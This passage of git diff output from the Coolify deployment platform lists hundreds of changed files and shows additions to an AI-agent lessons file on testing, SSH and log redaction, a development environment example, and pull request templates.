158 --- .../Feature/GitSubmoduleRemoteRewriteTest.php | 46 + tests/Feature/GitlabAppAuthorizationTest.php | 4 +- tests/Feature/GitlabSourceChangeViewTest.php | 19 + tests/Feature/GlobalSearchNavigationTest.php | 17 + .../Feature/Helpers/ConvertingGitUrlsTest.php | 8 + .../Helpers/DockerCustomCommandsTest.php | 56 + tests/Feature/HostingerServerCreationTest.php | 5 +- ...stanceBackupMultipleS3DestinationsTest.php | 137 +++ tests/Feature/Ipv6ServerAddressUrlTest.php | 125 +++ tests/Feature/Jobs/DatabaseBackupJobTest.php | 28 +- tests/Feature/ListboxComponentTest.php | 18 + .../Fleet/MetricsChartPayloadTest.php | 130 +++ .../Livewire/Fleet/MetricsDataTest.php | 382 +++++++ .../Livewire/Fleet/MetricsPageTest.php | 33 + .../AdvancedCertificateResolverTest.php | 137 +++ .../ConfigurationChangeRefreshEventsTest.php | 16 + tests/Feature/LocalhostServerDetailsTest.php | 38 +- tests/Feature/LogRedactionChannelTest.php | 30 + .../Feature/LogRedactionRemoteSecretsTest.php | 152 +++ .../LogRedactionSecretsQueryCountTest.php | 106 ++ tests/Feature/LogRedactionSettingApiTest.php | 125 +++ tests/Feature/LogRedactionSwitchTest.php | 29 + tests/Feature/Mcp/CallsRestApiTest.php | 41 + tests/Feature/Mcp/McpApplicationToolsTest.php | 520 ++++++++++ tests/Feature/Mcp/McpDataToolsTest.php | 787 ++++++++++++++ tests/Feature/Mcp/McpEndpointTest.php | 94 +- tests/Feature/Mcp/McpImproveTest.php | 13 +- tests/Feature/Mcp/McpLogRedactionTest.php | 157 +++ tests/Feature/Mcp/McpOperationsToolsTest.php | 618 +++++++++++ tests/Feature/Mcp/McpReadToolsTest.php | 108 +- tests/Feature/Mcp/McpServerToolsTest.php | 863 ++++++++++++++++ tests/Feature/Mcp/McpToggleApiTest.php | 22 +- tests/Feature/Mcp/McpWriteToolsTest.php | 150 +++ ...bleLivewireComponentsAuthorizationTest.php | 2 +- tests/Feature/NixpacksDeprecationTest.php | 90 ++ .../NormalizeIpv6ServerIpsMigrationTest.php | 127 +++ .../NotificationDeliveryFailureTest.php | 166 +++ .../PreserveComposeNullMigrationTest.php | 43 + .../PreviewDomainPortOverridesTest.php | 12 + tests/Feature/ProductionSeederTest.php | 35 + tests/Feature/ProfileAvatarTest.php | 38 + tests/Feature/ProfilePasskeysTest.php | 137 +++ tests/Feature/ProjectCanvasTest.php | 209 ++++ .../ServiceTraefikCertificateResolverTest.php | 70 ++ .../Proxy/TraefikCertificateResolverTest.php | 191 ++++ ...RedisFamilyPasswordComposeEscapingTest.php | 101 ++ .../RedisUsernameEnvironmentVariableTest.php | 92 ++ tests/Feature/RemoteProcessRedactionTest.php | 233 +++++ tests/Feature/RepositoryScanSecurityTest.php | 98 ++ tests/Feature/ResourceLogoTest.php | 71 ++ .../ResourceTeamAfterTeamSwitchTest.php | 2 +- .../ReverbAndTerminalPackagingTest.php | 4 +- tests/Feature/SafeDeploymentLogTest.php | 421 ++++++++ tests/Feature/SafeOperationalLogSinksTest.php | 236 +++++ tests/Feature/ScheduleAuditTest.php | 4 +- .../RemoteSecretResourceLifecycleTest.php | 11 +- .../SecretManagerServicesTest.php | 7 +- tests/Feature/Security/AuditLogTest.php | 21 +- .../Security/GithubAppSetupCallbackTest.php | 51 + .../Security/IntegrationTokenFormTest.php | 52 +- .../Server/NewServerProviderTokenUrlTest.php | 8 +- .../Server/ServerIpv6NormalizationTest.php | 245 +++++ tests/Feature/ServerCanvasTest.php | 325 ++++++ tests/Feature/ServerDockerImagesTest.php | 29 + ...ServiceCertificateResolverSettingsTest.php | 119 +++ .../Service/StartDatabaseProxyTest.php | 48 + tests/Feature/ServiceApplicationsApiTest.php | 32 + tests/Feature/ServiceDomainsTest.php | 17 + tests/Feature/ServiceEnvironmentFileTest.php | 132 +++ .../ServiceTemplatesLastUpdatedHintTest.php | 2 +- .../SettingsBackupBeforeUpdateTest.php | 47 + tests/Feature/SettingsSearchItemsTest.php | 3 +- tests/Feature/SharedVariableCanvasTest.php | 342 +++++++ .../SystemWideGitSourceAuthorizationTest.php | 310 ++++++ tests/Feature/TagApiTest.php | 5 +- tests/Feature/TagCanvasTest.php | 226 +++++ tests/Feature/TagsShowPageTest.php | 2 +- tests/Feature/TeamAvatarTest.php | 168 +++ tests/Feature/TerminalCapabilitiesTest.php | 58 ++ tests/Feature/TerminalConsoleModeTest.php | 156 +++ tests/Feature/TerminalSessionSecurityTest.php | 24 + ...raefikCertificateResolverMigrationTest.php | 60 ++ .../ConfigureTrafficAnalyticsTest.php | 38 + ...VolumeBackupMultipleS3DestinationsTest.php | 386 +++++++ .../VolumeBackupRecoveryBoundsTest.php | 11 +- tests/Feature/VolumeBackupTest.php | 61 +- .../terminal-websocket-rejection-server.mjs | 6 + tests/Support/ConcurrentMetricsClient.php | 36 + .../ApplicationDeploymentErrorLoggingTest.php | 95 +- ...pplicationDeploymentRailpackConfigTest.php | 66 +- tests/Unit/BackupDownloadHelperTest.php | 17 + tests/Unit/ComposeEnvFileEscapingTest.php | 34 + tests/Unit/ComposerAuthEnvEscapingTest.php | 3 +- .../ConfigurationRepositoryMailConfigTest.php | 23 + tests/Unit/CoolifyUpgradeStatusTest.php | 23 + tests/Unit/CustomLabelEncodingTest.php | 39 + .../DatabaseImportCommandBuilderTest.php | 4 +- .../DatabaseImportRestoreScriptTest.php | 95 +- ...baseStartActionResolvedCredentialsTest.php | 84 ++ tests/Unit/DeployKeyDedicatedPathTest.php | 52 + ...ockerComposeInjectionCompatibilityTest.php | 13 + .../DockerImageReferenceValidationTest.php | 8 + tests/Unit/DockerRegistryLoginsTest.php | 30 + tests/Unit/DomainFaviconTest.php | 8 + ...tractHardcodedEnvironmentVariablesTest.php | 64 ++ .../GitHubAppSubmoduleCredentialsTest.php | 6 +- .../GitlabAppSubmoduleCredentialsTest.php | 2 +- tests/Unit/GitlabSourceCommandsTest.php | 4 +- tests/Unit/HasRepositoryDetectionTest.php | 152 +++ .../Unit/HealthCheckCommandInjectionTest.php | 51 + tests/Unit/HetznerServiceTest.php | 55 + tests/Unit/IpAddressFormattingTest.php | 42 + .../Unit/Livewire/Database/S3RestoreTest.php | 9 +- tests/Unit/Metrics/HasMetricsMappingTest.php | 75 ++ tests/Unit/Metrics/PressureLevelTest.php | 22 + .../Channels/EmailChannelTest.php | 62 ++ tests/Unit/Policies/ApplicationPolicyTest.php | 38 - .../Policies/ApplicationPreviewPolicyTest.php | 30 - .../Policies/ResourceCreatePolicyTest.php | 41 - tests/Unit/Policies/ServicePolicyTest.php | 22 - tests/Unit/PreSaveValidationTest.php | 4 +- .../PreviewDeploymentStaticBuildpackTest.php | 48 + tests/Unit/RedactSensitiveDataLoggingTest.php | 85 ++ tests/Unit/RepositoryDetectionResultTest.php | 120 +++ tests/Unit/RepositoryDetectorTest.php | 231 +++++ tests/Unit/SafeWebhookUrlTest.php | 116 +++ tests/Unit/SanitizeLogsForExportTest.php | 2 +- tests/Unit/ScpStyleGitUrlTest.php | 22 + tests/Unit/SensitiveDataRedactorTest.php | 228 +++++ .../ServerTransferExporterImporterTest.php | 58 ++ .../ServerTransferS3DestinationsTest.php | 144 +++ .../FleetMetricsAggregatorRankingTest.php | 33 + .../Services/FleetMetricsAggregatorTest.php | 69 ++ .../Services/SentinelMetricsClientTest.php | 181 ++++ tests/Unit/SmtpTransportFactoryTest.php | 15 + tests/Unit/TraefikIpv6HostRuleTest.php | 76 ++ tests/Unit/UpdateCoolifyTest.php | 135 +++ tests/Unit/ValidGitRepositoryUrlTest.php | 83 ++ tests/Unit/ValidServerIpTest.php | 27 + .../Browser/ApplicationConfigurationTest.php | 53 + .../CommandPaletteSettingsSearchTest.php | 10 +- tests/v4/Browser/DeployCanvasTest.php | 161 +++ .../NewApplicationRepositoryPathsTest.php | 55 + .../Browser/RuntimeLogsVirtualizationTest.php | 58 ++ tests/v4/Browser/TerminalConsoleFocusTest.php | 83 ++ .../Browser/TerminalContainerPickerTest.php | 67 ++ versions.json | 2 +- vite.config.js | 4 + 774 files changed, 43981 insertions(+), 4409 deletions(-) create mode 100644 .github/PULL_REQUEST_TEMPLATE/default.md create mode 100644 .github/PULL_REQUEST_TEMPLATE/version.md create mode 100644 .github/workflows/coolify-release-branch-build.yml delete mode 100644 .github/workflows/sync-main-to-next.yml create mode 100644 .github/workflows/sync-main-to-release.yml create mode 100644 app/Actions/Development/StartDevelopmentInstanceDatabase.php create mode 100644 app/Data/RepositoryDetectionResult.php create mode 100644 app/Http/Controllers/Api/EnvironmentCanvasController.php create mode 100644 app/Http/Controllers/Api/ProjectCanvasController.php create mode 100644 app/Http/Controllers/Api/ServerCanvasController.php create mode 100644 app/Http/Controllers/Api/SharedVariableCanvasController.php create mode 100644 app/Http/Controllers/Api/TagCanvasController.php create mode 100644 app/Http/Controllers/TeamAvatarController.php create mode 100644 app/Http/Middleware/ApiIpAllowed.php create mode 100644 app/Http/Middleware/ConfigurePasskeys.php create mode 100644 app/Http/Middleware/UseSessionTeamApiToken.php create mode 100644 app/Livewire/Concerns/BuildsMetricsChartPayload.php create mode 100644 app/Livewire/Concerns/CreatesEnvironments.php create mode 100644 app/Livewire/Concerns/CreatesTags.php create mode 100644 app/Livewire/Concerns/RemembersCanvasView.php create mode 100644 app/Livewire/DeployCanvas.php create mode 100644 app/Livewire/Fleet/Metrics.php create mode 100644 app/Livewire/Profile/Passkeys.php create mode 100644 app/Livewire/Project/EnvironmentCanvas.php create mode 100644 app/Livewire/Project/ProjectCanvas.php create mode 100644 app/Livewire/Project/ProjectsCanvas.php create mode 100644 app/Livewire/Server/Canvas.php create mode 100644 app/Livewire/SharedVariables/Canvas.php create mode 100644 app/Livewire/Tags/Canvas.php create mode 100644 app/Logging/RedactSensitiveAuditData.php create mode 100644 app/Logging/RedactSensitiveData.php create mode 100644 app/Mcp/Concerns/CallsRestApi.php create mode 100644 app/Mcp/Concerns/ChecksTokenAbilities.php create mode 100644 app/Mcp/Tools/CloudProvider.php create mode 100644 app/Mcp/Tools/CreateApplication.php create mode 100644 app/Mcp/Tools/CreateDatabase.php create mode 100644 app/Mcp/Tools/CreateService.php create mode 100644 app/Mcp/Tools/DockerCleanup.php create mode 100644 app/Mcp/Tools/GetApplicationPreview.php create mode 100644 app/Mcp/Tools/GetDatabaseImport.php create mode 100644 app/Mcp/Tools/GetEnvValues.php create mode 100644 app/Mcp/Tools/GetServerMetrics.php create mode 100644 app/Mcp/Tools/ListAuditEvents.php create mode 100644 app/Mcp/Tools/ListRollbackImages.php create mode 100644 app/Mcp/Tools/ListServiceTemplates.php create mode 100644 app/Mcp/Tools/ManageApplication.php create mode 100644 app/Mcp/Tools/ManageBackup.php create mode 100644 app/Mcp/Tools/ManageDatabase.php create mode 100644 app/Mcp/Tools/ManageDestination.php create mode 100644 app/Mcp/Tools/ManageEnv.php create mode 100644 app/Mcp/Tools/ManageGitSource.php create mode 100644 app/Mcp/Tools/ManageNotifications.php create mode 100644 app/Mcp/Tools/ManagePreview.php create mode 100644 app/Mcp/Tools/ManagePrivateKey.php create mode 100644 app/Mcp/Tools/ManageProject.php create mode 100644 app/Mcp/Tools/ManageProxy.php create mode 100644 app/Mcp/Tools/ManageRegistry.php create mode 100644 app/Mcp/Tools/ManageS3Storage.php create mode 100644 app/Mcp/Tools/ManageScheduledTask.php create mode 100644 app/Mcp/Tools/ManageServer.php create mode 100644 app/Mcp/Tools/ManageService.php create mode 100644 app/Mcp/Tools/ManageSharedEnv.php create mode 100644 app/Mcp/Tools/ManageStorage.php create mode 100644 app/Mcp/Tools/ManageTags.php create mode 100644 app/Mcp/Tools/RestActionTool.php create mode 100644 app/Mcp/Tools/RollbackApplication.php create mode 100644 app/Models/DatabaseBackupS3Replica.php create mode 100644 app/Models/ResourceLink.php create mode 100644 app/Models/VolumeBackupS3Replica.php create mode 100644 app/Services/CloudflareTunnelService.php create mode 100644 app/Services/EnvironmentCanvas.php create mode 100644 app/Services/FleetMetricsAggregator.php create mode 100644 app/Services/ProjectCanvas.php create mode 100644 app/Services/RepositoryDetector.php create mode 100644 app/Services/Security/SensitiveDataRedactor.php create mode 100644 app/Services/SentinelMetricsClient.php create mode 100644 app/Services/ServerCanvas.php create mode 100644 app/Services/SharedVariableCanvas.php create mode 100644 app/Services/TagCanvas.php create mode 100644 app/Services/TeamAvatarStorageService.php create mode 100644 app/Support/AtomicFilesystem.php create mode 100644 app/Support/Metrics/PressureLevel.php create mode 100644 app/Support/PasskeyRelyingParty.php create mode 100644 app/Support/PostgresUser.php create mode 100644 app/Traits/HandlesNotificationResponse.php create mode 100644 app/Traits/HasLogRedactionSetting.php create mode 100644 app/Traits/HasRepositoryDetection.php create mode 100644 app/Traits/HasS3Destinations.php create mode 100644 app/Traits/HasS3Replicas.php create mode 100644 app/Traits/TracksDeliveryFailures.php create mode 100644 database/migrations/2026_09_25_105051_add_redact_all_env_values_in_logs_to_resources.php create mode 100644 database/migrations/2026_09_27_154836_add_uses_legacy_escaping_to_environment_variables_table.php create mode 100644 database/migrations/2026_10_07_125311_add_cloudflare_tunnel_api_fields_to_server_settings.php create mode 100644 database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php create mode 100644 database/migrations/2026_10_09_092903_normalize_ipv6_server_ips.php create mode 100644 database/migrations/2026_10_09_115444_remove_duplicate_redis_username_environment_variables.php create mode 100644 database/migrations/2026_10_09_124641_remove_duplicate_nixpacks_node_version_environment_variables.php create mode 100644 database/migrations/2026_10_11_075120_add_traefik_certificate_resolver_to_server_settings_table.php create mode 100644 database/migrations/2026_10_11_145529_add_traefik_certificate_resolver_to_application_and_service_settings.php create mode 100644 database/migrations/2026_10_11_183411_add_preserve_compose_null_to_environment_variables.php create mode 100644 database/migrations/2026_10_12_002632_add_is_backup_before_update_enabled_to_instance_settings_table.php create mode 100644 database/migrations/2026_10_12_121520_add_failure_count_to_notification_settings_tables.php create mode 100644 database/migrations/2026_10_12_154805_add_application_id_index_to_application_settings_table.php create mode 100644 database/migrations/2026_10_12_164601_create_passkeys_table.php create mode 100644 database/migrations/2026_10_12_192444_add_canvas_positions_to_environments_table.php create mode 100644 database/migrations/2026_10_12_192445_create_resource_links_table.php create mode 100644 database/migrations/2026_10_13_101731_add_redact_all_env_values_in_logs_to_standalone_databases.php create mode 100644 database/migrations/2026_10_13_132049_add_avatar_columns_to_teams_table.php delete mode 100644 database/seeders/DevelopmentRailpackExamplesSeeder.php rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/db-migration (100%) rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/horizon (100%) rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/init-script (100%) rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/init-seeder (100%) rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/reverb (100%) rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/scheduler-worker (100%) rename docker/production/etc/s6-overlay/{s6-rc.d => user-bundles.d}/user/contents.d/terminal-server (100%) create mode 100644 resources/js/canvas-core.js create mode 100644 resources/js/canvas/deploy/DeployCanvas.svelte create mode 100644 resources/js/canvas/deploy/Dropdown.svelte create mode 100644 resources/js/canvas/deploy/Edges.svelte create mode 100644 resources/js/canvas/deploy/Field.svelte create mode 100644 resources/js/canvas/deploy/Icon.svelte create mode 100644 resources/js/canvas/deploy/Node.svelte create mode 100644 resources/js/canvas/deploy/PaletteItem.svelte create mode 100644 resources/js/canvas/deploy/RunPanel.svelte create mode 100644 resources/js/canvas/deploy/index.js create mode 100644 resources/js/canvas/deploy/state.svelte.js create mode 100644 resources/js/canvas/deploy/styles.js create mode 100644 resources/js/canvas/environment/AddSection.svelte create mode 100644 resources/js/canvas/environment/Card.svelte create mode 100644 resources/js/canvas/environment/EnvironmentCanvas.svelte create mode 100644 resources/js/canvas/environment/Icon.svelte create mode 100644 resources/js/canvas/environment/NodeIcon.svelte create mode 100644 resources/js/canvas/environment/Panel.svelte create mode 100644 resources/js/canvas/environment/StatusDot.svelte create mode 100644 resources/js/canvas/environment/Toolbar.svelte create mode 100644 resources/js/canvas/environment/Zone.svelte create mode 100644 resources/js/canvas/environment/index.js create mode 100644 resources/js/deploy-canvas.js create mode 100644 resources/js/deploy-canvas.test.js create mode 100644 resources/js/environment-canvas.js create mode 100644 resources/js/environment-canvas.test.js create mode 100644 resources/js/passkeys.js create mode 100644 resources/js/terminal.browser.test.js create mode 100644 resources/views/components/api-disabled-callout.blade.php create mode 100644 resources/views/components/auth/passkey-verify.blade.php create mode 100644 resources/views/components/canvas-view-toggle.blade.php create mode 100644 resources/views/components/forms/repository-paths.blade.php create mode 100644 resources/views/components/nixpacks-deprecated-callout.blade.php create mode 100644 resources/views/components/resource-logo.blade.php create mode 100644 resources/views/components/shared-variables/sidebar.blade.php create mode 100644 resources/views/components/skeleton/cards.blade.php create mode 100644 resources/views/components/skeleton/form.blade.php create mode 100644 resources/views/components/skeleton/list.blade.php create mode 100644 resources/views/components/skeleton/logs.blade.php create mode 100644 resources/views/components/skeleton/settings-sections.blade.php create mode 100644 resources/views/components/team/avatar.blade.php create mode 100644 resources/views/components/terminal/mode-selector.blade.php create mode 100644 resources/views/emails/notification-channel-disabled.blade.php create mode 100644 resources/views/livewire/deploy-canvas.blade.php create mode 100644 resources/views/livewire/fleet/_usage-cell.blade.php create mode 100644 resources/views/livewire/fleet/metrics-placeholder.blade.php create mode 100644 resources/views/livewire/fleet/metrics.blade.php create mode 100644 resources/views/livewire/profile/passkeys.blade.php create mode 100644 resources/views/livewire/project/environment-canvas.blade.php create mode 100644 resources/views/livewire/project/new/partials/env-import-modal.blade.php create mode 100644 resources/views/livewire/project/new/partials/smart-scan-summary.blade.php create mode 100644 resources/views/livewire/project/partials/new-environment-form.blade.php create mode 100644 resources/views/livewire/project/project-canvas.blade.php create mode 100644 resources/views/livewire/project/projects-canvas.blade.php create mode 100644 resources/views/livewire/server/canvas.blade.php create mode 100644 resources/views/livewire/server/docker-registries/server-registries-placeholder.blade.php create mode 100644 resources/views/livewire/shared-variables/canvas.blade.php create mode 100644 resources/views/livewire/tags/canvas.blade.php create mode 100644 resources/views/livewire/tags/partials/new-tag-form.blade.php create mode 100644 tests/Feature/Api/BackupS3DestinationsApiTest.php create mode 100644 tests/Feature/Api/PrivateKeyUpdateApiTest.php create mode 100644 tests/Feature/ApiDisabledCalloutTest.php create mode 100644 tests/Feature/AtomicFilesystemTest.php create mode 100644 tests/Feature/Auth/PasskeyAccessTest.php create mode 100644 tests/Feature/Auth/PasskeyInstanceToggleTest.php create mode 100644 tests/Feature/Auth/PasskeyRelyingPartyTest.php create mode 100644 tests/Feature/Auth/PasskeySetupTest.php create mode 100644 tests/Feature/BackupAndNotificationRedactionTest.php create mode 100644 tests/Feature/BackupExecutionMessageRedactionApiTest.php create mode 100644 tests/Feature/BackupS3DestinationRedactionTest.php create mode 100644 tests/Feature/BackupS3DestinationsFormTest.php create mode 100644 tests/Feature/CloneApplicationEnvironmentVariablesTest.php create mode 100644 tests/Feature/CloudflareTunnelApiSetupTest.php create mode 100644 tests/Feature/ComposeLongBindOptionsTest.php create mode 100644 tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php create mode 100644 tests/Feature/DatabaseEnvironmentVariableComposeTest.php create mode 100644 tests/Feature/DatabaseStartContentFilesTest.php create mode 100644 tests/Feature/DatabaseStartDefaultEnvironmentVariablesTest.php create mode 100644 tests/Feature/DeployCanvasPageTest.php create mode 100644 tests/Feature/DeploymentCommitMessageReuseTest.php delete mode 100644 tests/Feature/DevEnvironmentExampleTest.php delete mode 100644 tests/Feature/DevelopmentRailpackExamplesSeederTest.php create mode 100644 tests/Feature/DockerCleanupExecutionsAuthorizationTest.php create mode 100644 tests/Feature/EnvironmentCanvasTest.php create mode 100644 tests/Feature/EnvironmentVariableLegacyEscapingTest.php create mode 100644 tests/Feature/GetLogsExportRedactionTest.php delete mode 100644 tests/Feature/GitHttpTransportCommandsTest.php create mode 100644 tests/Feature/GitSubmoduleRemoteRewriteTest.php create mode 100644 tests/Feature/InstanceBackupMultipleS3DestinationsTest.php create mode 100644 tests/Feature/Ipv6ServerAddressUrlTest.php create mode 100644 tests/Feature/Livewire/Fleet/MetricsChartPayloadTest.php create mode 100644 tests/Feature/Livewire/Fleet/MetricsDataTest.php create mode 100644 tests/Feature/Livewire/Fleet/MetricsPageTest.php create mode 100644 tests/Feature/Livewire/Project/Application/AdvancedCertificateResolverTest.php create mode 100644 tests/Feature/LogRedactionChannelTest.php create mode 100644 tests/Feature/LogRedactionRemoteSecretsTest.php create mode 100644 tests/Feature/LogRedactionSecretsQueryCountTest.php create mode 100644 tests/Feature/LogRedactionSettingApiTest.php create mode 100644 tests/Feature/LogRedactionSwitchTest.php create mode 100644 tests/Feature/Mcp/CallsRestApiTest.php create mode 100644 tests/Feature/Mcp/McpApplicationToolsTest.php create mode 100644 tests/Feature/Mcp/McpDataToolsTest.php create mode 100644 tests/Feature/Mcp/McpLogRedactionTest.php create mode 100644 tests/Feature/Mcp/McpOperationsToolsTest.php create mode 100644 tests/Feature/Mcp/McpServerToolsTest.php create mode 100644 tests/Feature/Mcp/McpWriteToolsTest.php create mode 100644 tests/Feature/NixpacksDeprecationTest.php create mode 100644 tests/Feature/NormalizeIpv6ServerIpsMigrationTest.php create mode 100644 tests/Feature/NotificationDeliveryFailureTest.php create mode 100644 tests/Feature/PreserveComposeNullMigrationTest.php create mode 100644 tests/Feature/ProductionSeederTest.php create mode 100644 tests/Feature/ProfilePasskeysTest.php create mode 100644 tests/Feature/ProjectCanvasTest.php create mode 100644 tests/Feature/Proxy/ServiceTraefikCertificateResolverTest.php create mode 100644 tests/Feature/Proxy/TraefikCertificateResolverTest.php create mode 100644 tests/Feature/RedisFamilyPasswordComposeEscapingTest.php create mode 100644 tests/Feature/RedisUsernameEnvironmentVariableTest.php create mode 100644 tests/Feature/RemoteProcessRedactionTest.php create mode 100644 tests/Feature/RepositoryScanSecurityTest.php create mode 100644 tests/Feature/ResourceLogoTest.php create mode 100644 tests/Feature/SafeDeploymentLogTest.php create mode 100644 tests/Feature/SafeOperationalLogSinksTest.php create mode 100644 tests/Feature/Server/ServerIpv6NormalizationTest.php create mode 100644 tests/Feature/ServerCanvasTest.php create mode 100644 tests/Feature/Service/ServiceCertificateResolverSettingsTest.php create mode 100644 tests/Feature/ServiceEnvironmentFileTest.php create mode 100644 tests/Feature/SettingsBackupBeforeUpdateTest.php create mode 100644 tests/Feature/SharedVariableCanvasTest.php create mode 100644 tests/Feature/SystemWideGitSourceAuthorizationTest.php create mode 100644 tests/Feature/TagCanvasTest.php create mode 100644 tests/Feature/TeamAvatarTest.php create mode 100644 tests/Feature/TerminalCapabilitiesTest.php create mode 100644 tests/Feature/TerminalConsoleModeTest.php create mode 100644 tests/Feature/TraefikCertificateResolverMigrationTest.php create mode 100644 tests/Feature/VolumeBackupMultipleS3DestinationsTest.php create mode 100644 tests/Support/ConcurrentMetricsClient.php create mode 100644 tests/Unit/ComposeEnvFileEscapingTest.php create mode 100644 tests/Unit/CustomLabelEncodingTest.php create mode 100644 tests/Unit/DatabaseStartActionResolvedCredentialsTest.php create mode 100644 tests/Unit/HasRepositoryDetectionTest.php create mode 100644 tests/Unit/IpAddressFormattingTest.php create mode 100644 tests/Unit/Metrics/HasMetricsMappingTest.php create mode 100644 tests/Unit/Metrics/PressureLevelTest.php create mode 100644 tests/Unit/PreviewDeploymentStaticBuildpackTest.php create mode 100644 tests/Unit/RedactSensitiveDataLoggingTest.php create mode 100644 tests/Unit/RepositoryDetectionResultTest.php create mode 100644 tests/Unit/RepositoryDetectorTest.php create mode 100644 tests/Unit/SensitiveDataRedactorTest.php create mode 100644 tests/Unit/ServerTransfer/ServerTransferS3DestinationsTest.php create mode 100644 tests/Unit/Services/FleetMetricsAggregatorRankingTest.php create mode 100644 tests/Unit/Services/FleetMetricsAggregatorTest.php create mode 100644 tests/Unit/Services/SentinelMetricsClientTest.php create mode 100644 tests/Unit/TraefikIpv6HostRuleTest.php create mode 100644 tests/v4/Browser/DeployCanvasTest.php create mode 100644 tests/v4/Browser/NewApplicationRepositoryPathsTest.php create mode 100644 tests/v4/Browser/TerminalConsoleFocusTest.php create mode 100644 tests/v4/Browser/TerminalContainerPickerTest.php diff --git a/.ai/lessons.md b/.ai/lessons.md index 84d6bc1992..980e572c45 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -4,6 +4,7 @@ - Reproduce the reported failure on the unchanged baseline before adding a fix. - When a symptom matches an earlier fix, inspect that fix and prove why it no longer works before adding another workaround. - Test old reports against the current branch because later changes can make the report obsolete. +- Test serialized worker tasks with the real process driver. An in-process test does not prove that captured models or nested closures survive serialization. - Use the same regression test before and after the production change so the result shows the behavior difference. - Several dev instances can run from one checkout (see `./scripts/dev urls`). After you add a migration, run it on each running instance of that checkout, or those instances fail on the new code. - The checkout is shared with other sessions. When the full suite fails, rerun each failing file alone and compare with a clean `git archive HEAD` copy before you connect a failure to your change. @@ -11,14 +12,18 @@ - `sshd` keeps the login shell of an open multiplexed SSH connection. Call `SshMultiplexingHelper::removeMuxFile()` before a live test of SSH or login-shell behavior. - SSH retries replay the full command batch. Only exit code 255 is an SSH transport failure; other exit codes come from the remote command, so do not retry them. Keep batches safe to run twice (for example `docker rm -f || true` before `docker run --name `). - Redirect browser test output to a file (`> /tmp/x.log 2>&1`); piping it (`| tail`) hangs because the Playwright server keeps the pipe open. -- Browser `click('Text')` can match a hidden element first (for example inactive modal steps) and wait forever; use `button:visible:has-text("Text")`. +- Browser `click()`/`assertSee()` wait forever when nothing matches, so a bad selector hangs the run instead of failing it. `click('Text')` can match a hidden element first (use `button:visible:has-text("Text")`); `:text-is()` on an element with child elements and `assertSee()` text with double quotes never match. Prefer plain CSS selectors. +- A new worktree has no `vendor/` or `public/build/`. Run `composer install --ignore-platform-req=ext-zip` on the host and copy `public/build` from the main checkout before page-rendering tests; otherwise they fail with a Vite manifest error. - Never run `php artisan test` inside a dev container (`./scripts/dev exec` or `docker exec coolify-dev-*`). The container sets `DB_CONNECTION=pgsql` as a real environment variable, which wins over `phpunit.xml`, so `RefreshDatabase` runs `migrate:fresh` on the dev database and wipes it. Run tests on the host only. +- Do not symlink `vendor` into another worktree. Composer resolves the base path from the real `vendor` path, so the tests load the app classes of the other checkout. Run `composer install --ignore-platform-req=ext-zip` in the worktree. - Call `visit()` directly in each `tests/v4/Browser` test body; Pest does not mark a test that only uses helper-wrapped `visit()` as a browser test, so it fails with `sendText() on null`. +- SQLite returns `0`/`1` for boolean columns without a `boolean` cast, while Postgres returns real booleans. A strict `=== false` check on such a column never matches in tests, so tests can pass on behavior that Postgres blocks. Add the cast or compare loosely. ## Verify the complete user flow - Do not use a passing unit test, a successful build, or a healthy process as proof for a reported UI failure. - Verify the exact live flow, persisted state, relevant logs, and queue state when they affect the result. - When the request covers more than one interface or resource type, inventory and verify each supported path. +- When a change alters how stored data reaches running containers, simulate the upgrade on the dev VM: start resources on the old code, then migrate and restart them on the new code, and compare the results. ## Preserve product scope - Do not replace required SPA navigation with a full-page redirect to hide a lifecycle or ordering defect. @@ -101,3 +106,13 @@ - In remote commands, use absolute paths (`docker compose -f /docker-compose.yml`, `--project-directory `), `echo ... | tee > /dev/null`, and `find` instead of globs. scp also runs as the SSH user; stage files outside `/data/coolify`. - The parsers add sudo only to line starts (and after `&&`, `||`, `|`, `$(`). Put `if`/`else` branches on their own lines. When a redirect or `cd` must stay, make the whole line one `sh -c '...'` script; it runs as `sudo sh -c` without inner sudo or bash. - Tests that replace `DatabaseStartCommandExecutor` or use root servers miss non-root bugs. Test the parsed commands of a non-root server. + +## Redact sensitive output before every sink +- Use one fail-closed redaction policy for database logs, framework logs, notifications, API output, exports, and MCP responses. +- Replace known resource secrets before storage; format detection is only a second layer. +- Keep read-time redaction for legacy records, but do not use it as the primary control. + +## Cached and stored state +- `StandaloneDocker`/`SwarmDocker` `server` uses `Server::findCached()`, a per-process identity map that is flushed only when the `servers` row updates. A `ServerSetting` save does not flush it, so pass the current `Server` instance (`setRelation('server', $server)`) when generated output depends on just-saved settings. +- Application deployments use the stored `custom_labels` when they exist. When a server-level setting changes the generated labels, regenerate the stored labels of read-only (`is_container_label_readonly_enabled`) applications, or a redeploy keeps the old labels. +- Tailwind `text-base` is a colour utility here (`--color-base`, near-black), not a font size. Use `text-[16px]` for size. diff --git a/.env.development.example b/.env.development.example index f7a01180e3..7c8fc5c028 100644 --- a/.env.development.example +++ b/.env.development.example @@ -9,6 +9,9 @@ APP_DEBUG=true SSH_MUX_ENABLED=true COOLIFY_CONTAINER_ROLE=all DEV_SENTINEL_URL= +# IPv4 address for seeded sslip.io domains (server wildcard domain and example apps). Empty uses 127.0.0.1. +# Set it to a LAN or Tailscale IP to reach seeded deployments from other devices, then reseed. +DEV_SEED_IP= # PostgreSQL Database Configuration DB_DATABASE=coolify diff --git a/.github/PULL_REQUEST_TEMPLATE/default.md b/.github/PULL_REQUEST_TEMPLATE/default.md new file mode 100644 index 0000000000..33f8af0003 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE/default.md @@ -0,0 +1,13 @@ + + +## Changes + +- + +## Why + + + +## Issues + +- Fixes diff --git a/.github/PULL_REQUEST_TEMPLATE/version.md b/.github/PULL_REQUEST_TEMPLATE/version.md new file mode 100644 index 0000000000..851c82e9cf --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE/version.md @@ -0,0 +1,41 @@ + + +## Breaking Changes + +- + +## Security + +- + +## Added + +- + 